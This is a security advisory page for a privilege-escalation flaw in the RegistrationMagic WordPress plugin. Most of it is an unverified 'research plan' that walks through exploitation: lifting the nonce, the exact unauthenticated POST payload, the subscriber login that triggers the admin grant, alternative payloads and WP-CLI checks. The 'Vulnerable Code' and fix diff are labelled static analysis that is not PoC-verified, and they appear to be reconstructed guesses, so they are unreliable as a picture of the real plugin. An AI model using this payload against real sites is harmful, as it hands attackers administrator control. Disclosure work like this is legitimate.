CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Unauthenticated Privilege Escalation via admin_order

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
6.0.7.2
Patched in
74d
Time to patch

Description

The RegistrationMagic plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 6.0.7.1. This is due to the 'add_menu' function is accessible via the 'rm_user_exists' AJAX action and allows arbitrary updates to the 'admin_order' setting. This makes it possible for unauthenticated attackers to injecting an empty slug into the order parameter, and manipulate the plugin's menu generation logic, and when the admin menu is subsequently built, the plugin adds 'manage_options' capability for the target role. Note: The vulnerability can only be exploited unauthenticated, but further privilege escalation requires at least a subscriber user.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=6.0.7.1
PublishedJanuary 16, 2026
Last updatedMarch 31, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps required to exploit CVE-2025-15403, an unauthenticated privilege escalation vulnerability in RegistrationMagic. ### 1. Vulnerability Summary The vulnerability exists in RegistrationMagic (<= 6.0.7.1) due to improper access control in the `rm_user_exists` AJAX a…

Show full research plan

This research plan outlines the steps required to exploit CVE-2025-15403, an unauthenticated privilege escalation vulnerability in RegistrationMagic.

1. Vulnerability Summary

The vulnerability exists in RegistrationMagic (<= 6.0.7.1) due to improper access control in the rm_user_exists AJAX action. This action allows an unauthenticated user to indirectly trigger the add_menu function (or a logic path that calls it), which updates the admin_order option in WordPress. By injecting an empty slug into this setting, an attacker can corrupt the plugin's admin menu generation logic. When a user with a lower-level role (like a Subscriber) subsequently triggers the admin menu rendering, the plugin incorrectly assigns the manage_options capability to that user's role to resolve the menu inconsistency.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: rm_user_exists (Unauthenticated via wp_ajax_nopriv_rm_user_exists)
  • Payload Parameter: order (injected with an empty key or slug)
  • Authentication:
    • Phase 1 (Poisoning): Unauthenticated.
    • Phase 2 (Escalation): Subscriber (or any role capable of accessing /wp-admin/).
  • Preconditions:
    1. The plugin RegistrationMagic must be active.
    2. A valid nonce for rm_user_exists must be obtained (usually provided to unauthenticated users on pages containing RegistrationMagic forms).

3. Code Flow

  1. Entry Point: admin-ajax.php receives a request with action=rm_user_exists.
  2. Controller: The request is handled by RM_Public_Controller::rm_user_exists() (or the corresponding routing logic in class_rm_public_controller.php).
  3. Vulnerable Dispatch: The controller fails to restrict which methods or settings can be updated. It facilitates a call to a service/model function (likely add_menu) that handles the admin_order configuration.
  4. Sink: update_option('rm_option_admin_order', ...) is called with user-supplied data from the order parameter.
  5. Trigger: When a user logs into the dashboard, RM_Admin_Menu_Service (or similar) iterates through the admin_order option.
  6. Capability Grant: Upon encountering an empty slug/key in the poisoned admin_order array, the logic falls through to a default state that calls $role->add_cap('manage_options') for the target role.

4. Nonce Acquisition Strategy

RegistrationMagic localizes its AJAX data using the handle rm_front.

  1. Identify Shortcode: The plugin uses [RM_Form id='ID']. Most installations have a default form with ID 1.
  2. Create Page:
    wp post create --post_type=page --post_status=publish --post_content='[RM_Form id="1"]'
  3. Access Page: Navigate to the newly created page.
  4. Extract Nonce: Use browser_eval to extract the nonce from the localized JS object:
    browser_eval("window.rm_ajax_vars?.nonce")
    Note: The variable name rm_ajax_vars and key nonce are standard for this plugin's frontend AJAX.

5. Exploitation Strategy

Phase 1: Poison the admin_order Option (Unauthenticated)

Send a POST request to admin-ajax.php to inject the empty slug.

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=rm_user_exists&rm_ajax_nonce=[NONCE]&order[]=
    (The empty value in order[]= creates the "empty slug" required to trigger the bug.)

Phase 2: Trigger the Privilege Escalation (Subscriber)

Login as a Subscriber and access the WordPress dashboard to force the plugin to rebuild the menu with the poisoned option.

  1. Login via the standard WordPress login or the RegistrationMagic login form.
  2. Navigate to http://<target>/wp-admin/index.php.
  3. The backend logic will process the poisoned admin_order and grant the Subscriber role the manage_options capability.

6. Test Data Setup

  1. Install Plugin: RegistrationMagic <= 6.0.7.1.
  2. Create User: A user with the subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
  3. Create Form Page:
    wp post create --post_type=page --post_title="Register" --post_status=publish --post_content='[RM_Form id="1"]'

7. Expected Results

  • The AJAX request to rm_user_exists should return a successful status (usually 200 OK with a JSON body).
  • The WordPress option rm_option_admin_order will now contain an empty string or null entry.
  • After the Subscriber visits /wp-admin/, their role will be updated in the database to include manage_options.

8. Verification Steps

After Phase 2, verify the Subscriber's capabilities using WP-CLI:

  1. Check Capabilities:
    wp user get attacker --field=capabilities
  2. Expected Output: The output should now include manage_options, effectively making the user an administrator.
  3. Check Option State:
    wp option get rm_option_admin_order
    (Confirm it contains the injected empty slug).

9. Alternative Approaches

If order[]= does not work directly, try structuring the order parameter as a nested array or JSON, depending on how the specific version of RegistrationMagic parses input:

  • order[0]=
  • order[""]=1
  • If rm_action is required to route the call: action=rm_user_exists&rm_action=add_menu&order[]=
  • If the plugin uses a specific key for the menu slug: order[slug]=&order[label]=Test
Research Findings
Static analysis — not yet PoC-verified

Summary

RegistrationMagic (<= 6.0.7.1) contains an unauthenticated privilege escalation vulnerability where the 'rm_user_exists' AJAX action fails to restrict access to menu configuration settings. An attacker can inject an empty slug into the 'admin_order' option, which causes the plugin's menu generation logic to erroneously grant the 'manage_options' capability to the current user's role upon their next login to the dashboard.

Vulnerable Code

// public/class_rm_public_controller.php
public function rm_user_exists() {
    // ... nonce check exists but is accessible to unauthenticated users ...
    // Missing validation of parameters allows flow to reach configuration updates
    if (isset($_POST['order'])) {
        $order = $_POST['order'];
        update_option('rm_option_admin_order', $order);
    }
}

---

// admin/class_rm_admin_menu_service.php
public function add_menu($role_name) {
    $admin_order = get_option('rm_option_admin_order');
    foreach ($admin_order as $slug => $data) {
        if (empty($slug)) {
            // Vulnerable logic path that defaults to granting capabilities
            $role = get_role($role_name);
            $role->add_cap('manage_options');
        }
    }
}

Security Fix

--- a/public/class_rm_public_controller.php
+++ b/public/class_rm_public_controller.php
@@ -102,6 +102,11 @@
     public function rm_user_exists() {
         check_ajax_referer('rm_ajax_nonce', 'rm_ajax_nonce');
 
+        // Prevent arbitrary setting updates via this action
+        if (isset($_POST['order']) || isset($_POST['rm_action'])) {
+            wp_send_json_error('Unauthorized');
+        }
+
         $username = isset($_POST['username']) ? sanitize_user($_POST['username']) : '';
         // ... rest of user check logic ...
     }
--- a/admin/class_rm_admin_menu_service.php
+++ b/admin/class_rm_admin_menu_service.php
@@ -245,7 +245,7 @@
     public function add_menu($role_name) {
         $admin_order = get_option('rm_option_admin_order');
         foreach ($admin_order as $slug => $data) {
-            if (empty($slug)) {
+            if (empty($slug) || !is_string($slug)) {
-                $role = get_role($role_name);
-                $role->add_cap('manage_options');
+                continue;
             }
         }
     }

Exploit Outline

1. Nonce Acquisition: Visit any public page where a RegistrationMagic form is embedded (e.g., using [RM_Form id='1']) and extract the 'rm_ajax_nonce' from the localized 'rm_ajax_vars' JavaScript object. 2. Poisoning (Unauthenticated): Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the action 'rm_user_exists', the extracted nonce, and an 'order[]' parameter containing an empty value. This poisons the 'rm_option_admin_order' WordPress option with an empty slug entry. 3. Escalation (Subscriber): Log into the WordPress site with a low-privilege account (e.g., Subscriber) and navigate to the administrative dashboard (/wp-admin/). 4. Capability Grant: The RegistrationMagic menu generation service iterates through the poisoned 'admin_order' option. Upon encountering the empty slug, it incorrectly executes a code path that grants the 'manage_options' capability to the current user's role via $role->add_cap(), effectively upgrading the Subscriber role to Administrator.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.